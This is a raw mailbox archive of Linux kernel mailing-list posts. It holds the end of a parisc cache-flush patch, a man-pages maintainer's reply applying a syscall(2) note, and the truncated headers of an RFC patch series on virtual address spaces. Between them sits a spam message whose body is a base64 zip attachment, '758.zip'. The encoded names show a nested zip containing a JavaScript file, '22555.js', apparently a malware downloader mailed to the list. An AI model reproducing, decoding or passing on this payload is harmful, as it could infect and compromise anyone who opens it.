 	}
 }
+
+void flush_kernel_vmap_range(void *vaddr, int size)
+{
+	unsigned long start =3D (unsigned long)vaddr;
+
+	if ((unsigned long)size > parisc_cache_flush_threshold)
+		flush_data_cache();
+	else
+		flush_kernel_dcache_range_asm(start, start + size);
+}
+EXPORT_SYMBOL(flush_kernel_vmap_range);
+
+void invalidate_kernel_vmap_range(void *vaddr, int size)
+{
+	unsigned long start =3D (unsigned long)vaddr;
+
+	if ((unsigned long)size > parisc_cache_flush_threshold)
+		flush_data_cache();
+	else
+		flush_kernel_dcache_range_asm(start, start + size);
+}
+EXPORT_SYMBOL(invalidate_kernel_vmap_range);

--Apple-Mail-32--134893245
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii



--
John David Anglin	dave.anglin@bell.net

--Apple-Mail-32--134893245--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Michael Kerrisk (man-pages)" <mtk.manpages-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.man,gmane.linux.ports.parisc
Subject: Re: [PATCH] syscall(2): note parisc handling of aligned register
 pairs
Date: Sun, 12 Mar 2017 11:26:16 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <73a668f4-308b-27f7-e611-4ffe49709624@gmail.com>
References: <20170311210438.4908-1-vapier@gentoo.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1489314397 12336 195.159.176.226 (12 Mar 2017 10:26:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 12 Mar 2017 10:26:37 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
Cc: mtk.manpages-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-man-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Mike Frysinger <vapier-aBrp7R+bbdUdnm+yROfE0A@public.gmane.org>
Original-X-From: linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Sun Mar 12 11:26:32 2017
Return-path: <linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glm-linux-man@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1cn0ho-0002Cg-Tt
	for glm-linux-man@m.gmane.org; Sun, 12 Mar 2017 11:26:29 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
        id S932561AbdCLK0c (ORCPT <rfc822;glm-linux-man@m.gmane.org>);
        Sun, 12 Mar 2017 06:26:32 -0400
Original-Received: from mail-wm0-f67.google.com ([74.125.82.67]:34993 "EHLO
        mail-wm0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932274AbdCLK02 (ORCPT
        <rfc822;linux-man-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Sun, 12 Mar 2017 06:26:28 -0400
Original-Received: by mail-wm0-f67.google.com with SMTP id z63so5471234wmg.2;
        Sun, 12 Mar 2017 03:26:27 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-transfer-encoding;
        bh=Abs05eak0WhC1CvLsFnsCymDMUuT2r1CUVguVRvJMb8=;
        b=AL1erqYogCad6TADdQZ83RmV3ZV3t7dYEUVf1yVNwR+MIl187qufRaboXqFrGDcSup
         pOMKDo8dDXj7ziQs1garDBWbHOJhL+mNT1UbLbxgzhRx5U/6c8Oc+mN5tEmgYm3rTO4h
         Ulcrd2PGupGlUpctDxW15zGWQdPKnbrYJ+n4yVQsiUUKX9r86LmhxlOGgXDfK1abWmKR
         eGBRINlUPqVN0XQKJMyBb35mzx7NUlrMnZioKzP2fu/2ZFzw97+raS98Zv6pvYhbR5uo
         Hjrl9Ithi+KQK06JQklcWmLYVje5Z901eOW2h1gqjvv+IUeQh5QK+ekqfgD3PJv+LFEw
         kIUw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding;
        bh=Abs05eak0WhC1CvLsFnsCymDMUuT2r1CUVguVRvJMb8=;
        b=YjhTAfEI1w7TUoIjNjwzQljBzI99UotMxQ8sf+xvRl9D6DMWbm1BskrgSJtRE6VwV4
         WdHPKHEk1nyvusCG0Vetw/Gi4THJOauQn/wPKl5cOF73zLJVGcMPNqhQo3mTPnKsI8Cb
         oZwPANiMVEyZLLl999W+5t/SSSU5pyW1u0GC4x7br11Ri3vVY7AD7ZhIQvDqE3HHwcBX
         AKN4lfSZ+3XJIvpkyws9teP3UeoaPqA5rXJ38xUXG89XDldjl+URWHdCoDl60R/HyOIb
         8FTS3TQEKSfm2Q7jIHWP/Vu1KcDX6uWgauoXGbW7cr1NJ7yMt0py0zBoqGkzVqvRrb1N
         5cFQ==
X-Gm-Message-State: AFeK/H1mwh5nqbfFbC5U7xsBcmObcAhV+j4L667g7xByLVPh7ufAFUStwU+0w6go+xGFng==
X-Received: by 10.28.150.194 with SMTP id y185mr5800716wmd.92.1489314386439;
        Sun, 12 Mar 2017 03:26:26 -0700 (PDT)
Original-Received: from [172.16.27.228] ([46.183.103.17])
        by smtp.gmail.com with ESMTPSA id f48sm20485321wrf.17.2017.03.12.03.26.24
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Sun, 12 Mar 2017 03:26:24 -0700 (PDT)
In-Reply-To: <20170311210438.4908-1-vapier-aBrp7R+bbdUdnm+yROfE0A@public.gmane.org>
Original-Sender: linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-man.vger.kernel.org>
X-Mailing-List: linux-man-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.man:12173 gmane.linux.ports.parisc:27311
Archived-At: <http://permalink.gmane.org/gmane.linux.man/12173>

On 03/11/2017 10:04 PM, Mike Frysinger wrote:
> While parisc would normally have the same behavior as ARM/PowerPC,
> they decide to write shim syscall stubs to unpack/realign rather
> than expose the padding to userspace.

Thanks, Mike. Patch applied.

Cheers,

Michael


> Signed-off-by: Mike Frysinger <vapier-aBrp7R+bbdUdnm+yROfE0A@public.gmane.org>
> ---
>  man2/syscall.2 | 4 ++++
>  1 file changed, 4 insertions(+)
> 
> diff --git a/man2/syscall.2 b/man2/syscall.2
> index f8c89b84356d..b55540e039b7 100644
> --- a/man2/syscall.2
> +++ b/man2/syscall.2
> @@ -133,6 +133,10 @@ on PowerPC with the 32-bit ABI, and on Xtensa.
>  .\" Mike Frysinger: this issue ends up forcing MIPS
>  .\" O32 to take 7 arguments to syscall()
>  
> +.\" See arch/parisc/kernel/sys_parisc.c.
> +Note that while the parisc C ABI also uses aligned register pairs,
> +it uses a shim layer to hide the issue from userspace.
> +
>  The affected system calls are
>  .BR fadvise64_64 (2),
>  .BR ftruncate64 (2),
> 


-- 
Michael Kerrisk
Linux man-pages maintainer; http://www.kernel.org/doc/man-pages/
Linux/UNIX System Programming Training: http://man7.org/training/
--
To unsubscribe from this list: send the line "unsubscribe linux-man" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: <catherine.verge@hcahealthcare.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: 59160 linux-parisc
Date: Sun, 12 Mar 2017 23:01:08 -0000
Lines: 101
Approved: news@gmane.org
Message-ID: <148935966828.30107.7287734522751021813@isurgut.ru>
Reply-To: <catherine.verge@hcahealthcare.co.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: application/zip; name="758.zip"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1489359677 9977 195.159.176.226 (12 Mar 2017 23:01:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 12 Mar 2017 23:01:17 +0000 (UTC)
To: "linux-parisc" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 13 00:01:14 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cnCU7-0001bs-5i
	for glpp-linux-parisc@m.gmane.org; Mon, 13 Mar 2017 00:01:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S935407AbdCLXBN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 12 Mar 2017 19:01:13 -0400
Original-Received: from 5-141-9-242.static-adsl.isurgut.ru ([5.141.9.242]:39050 "HELO
        isurgut.ru" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org with SMTP
        id S933224AbdCLXBN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 12 Mar 2017 19:01:13 -0400
X-Greylist: delayed 301 seconds by postgrey-1.27 at vger.kernel.org; Sun, 12 Mar 2017 19:01:12 EDT
Importance: High
Content-Disposition: attachment
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27312
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27312>

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
AAAAAA==
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: [RFC PATCH 00/13] Introduce first class virtual address spaces
Date: Mon, 13 Mar 2017 15:14:02 -0700
Lines: 209
Approved: news@gmane.org
Message-ID: <20170313221415.9375-1-till.smejkal@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1489443266 20964 195.159.176.226 (13 Mar 2017 22:14:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Mar 2017 22:14:26 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-snps-arc@lists.infradead.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-hexagon@vger.kernel.org,
	linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-media@vger.kernel.org,
	linux-mtd@lists.infradead.org,
	linux-usb@vger.kernel.org,
	linux-fsdevel@vger.kernel.org,
	linux-aio@kvack.org,
	linux-mm@kvack.org,
	linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org,
	alsa-devel@alsa-project.org
To: Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalias@libc.org>,
	"David S. Miller" <davem@dave
Original-X-From: owner-linux-aio@kvack.org Mon Mar 13 23:14:17 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1cnYEJ-0004O9-Nq
	for gla-linux-aio@m.gmane.org; Mon, 13 Mar 2017 23:14:16 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 969556B0038; Mon, 13 Mar 2017 18:14:21 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 8F2696B038A; Mon, 13 Mar 2017 18:14:21 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 7470D6B038C; Mon, 13 Mar 2017 18:14:21 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-wm0-f72.google.com (mail-wm0-f72.google.com [74.125.82.72])
	by kanga.kvack.org (Postfix) with ESMTP id 0ECA36B0038
	for <linux-aio@kvack.org>; Mon, 13 Mar 2017 18:14:21 -0400 (EDT)
Original-Received: by mail-wm0-f72.google.com with SMTP id v190so15951018wme.0
        for <linux-aio@kvack.org>; Mon, 13 Mar 2017 15:14:21 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id;
        bh=HB6Ee28SXSHB4qLeQezigkg1cTeU5gQ+C8I9CspDT+M=;
        b=Q2Nc7WBlDKapRCczuBDjshbvFshutF6IvFRKKMDVZEr8fSsui4u7ZfiuCdF/ykejTM
